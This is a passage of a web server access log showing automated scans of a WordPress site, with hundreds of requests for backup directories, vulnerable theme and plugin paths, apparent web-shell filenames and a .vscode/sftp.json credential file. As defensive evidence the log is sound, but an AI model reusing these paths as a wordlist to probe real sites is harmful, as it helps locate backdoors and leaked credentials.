Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [19/Apr/2026:03:47:05 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [19/Apr/2026:03:47:05 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [19/Apr/2026:03:47:05 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 220.181.108.146 - - [19/Apr/2026:04:18:46 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 45.154.98.114 - - [19/Apr/2026:03:47:05 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/themes/Avada/shortcodes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-json/bricks/v1/render_element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/themes/bricks/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/themes/service-finder/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/themes/service-finder/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-json/wp/v2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wp-content/uploads/2026/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:44 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 119.249.100.172 - - [19/Apr/2026:04:18:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:06 +0300] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:17 +0300] "HEAD /Wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:22 +0300] "HEAD /WORDPRESS HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:26 +0300] "HEAD /WordPress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:29 +0300] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:33 +0300] "HEAD /Wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:36 +0300] "HEAD /WP HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:38 +0300] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:39 +0300] "HEAD /Old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:43 +0300] "HEAD /OLD HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:47 +0300] "HEAD /oldsite HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:50 +0300] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:52 +0300] "HEAD /New HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:53 +0300] "HEAD /NEW HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:40:57 +0300] "HEAD /wp-old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:00 +0300] "HEAD /2022 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:02 +0300] "HEAD /2023 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:04 +0300] "HEAD /2024 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:16 +0300] "HEAD /2017 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:18 +0300] "HEAD /2020 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:20 +0300] "HEAD /2019 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:27 +0300] "HEAD /2018 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:30 +0300] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:35 +0300] "HEAD /test HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:39 +0300] "HEAD /Test HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:44 +0300] "HEAD /TEST HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:49 +0300] "HEAD /demo HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:41:56 +0300] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:02 +0300] "HEAD /www HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:06 +0300] "HEAD /WWW HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:13 +0300] "HEAD /Www HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:16 +0300] "HEAD /2021 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:23 +0300] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:28 +0300] "HEAD /old-site HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:32 +0300] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:34 +0300] "HEAD /Backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:37 +0300] "HEAD /BACKUP HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:42 +0300] "HEAD /SHOP HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:47 +0300] "HEAD /Shop HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:51 +0300] "HEAD /shop HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 103.77.107.222 - - [19/Apr/2026:05:03:56 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 20.48.184.58 - - [19/Apr/2026:06:22:10 +0300] "GET /wp-includes/ubbgmq.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:20 +0300] "GET /ftde.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:23 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:26 +0300] "GET /wp-temp.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:28 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:08 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:28 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:03 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:16 +0300] "GET /wp-content/plugins/twenty/login.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:19 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:45 +0300] "GET /wp-admin/user/12.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:49 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:51 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:55 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:58 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:00 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:01 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:04 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:07 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:11 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:14 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:16 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:19 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:21 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:23 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:26 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:29 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:32 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:34 +0300] "GET /asd.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:37 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:39 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:42 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:46 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:32:49 +0300] "GET /ws81.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:33:39 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:33:42 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:08 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:07 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:24:11 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:49 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:51 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:34:36 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:35:55 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:35:56 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:49 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:52 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:55 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:55 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:58 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:01 +0300] "GET /an.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:29 +0300] "GET /wp-includes/class-wp-http-client.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:32 +0300] "GET /wp-includes/configuration.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:35 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:39 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:42 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:45 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:48 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:52 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:55 +0300] "GET /option.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:57 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:28:31 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:26 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:28 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:30 +0300] "GET /ws38.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:33 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:36 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:57 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:59 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:31:02 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:33:14 +0300] "GET /6xBAm3vODE05BSzkJZRAws.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:36:15 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 185.191.106.41 - - [19/Apr/2026:04:44:09 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.48.184.58 - - [19/Apr/2026:06:22:00 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:03 +0300] "GET /size.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:09 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 188.143.244.130 - - [19/Apr/2026:04:54:58 +0300] "GET /services/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 X11; Ubuntu; Linux x86_64; rv:126.0 Gecko/20100101 Firefox/126.0" 20.48.184.58 - - [19/Apr/2026:06:22:55 +0300] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:22:59 +0300] "GET /wp-admin/nav-menus.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:23:16 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:13 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:16 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:19 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:22 +0300] "GET /ws49.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:28 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:28 +0300] "GET /xozx.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:32 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:35 +0300] "GET /Cap.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:38 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:41 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:25:44 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:10 +0300] "GET /archive.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:14 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:17 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:19 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:26:23 +0300] "GET /ortasekerli1.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:35 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:38 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:27:42 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:25 +0300] "GET /file3.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:28 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:30 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:32 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:35 +0300] "GET /.dj/index.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:48 +0300] "GET /php8.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:51 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:54 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:56 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:29:58 +0300] "GET /011i.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:30:00 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:36:01 +0300] "GET /.info.php HTTP/1.1" 301 795 "-" "-" 20.48.184.58 - - [19/Apr/2026:06:36:21 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 144.31.151.48 - - [19/Apr/2026:05:42:54 +0300] "HEAD /bak HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:57 +0300] "HEAD /sitio HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 144.31.151.48 - - [19/Apr/2026:05:42:59 +0300] "HEAD /bac HTTP/1.1" 301 0 "-" "Mozilla/5.0 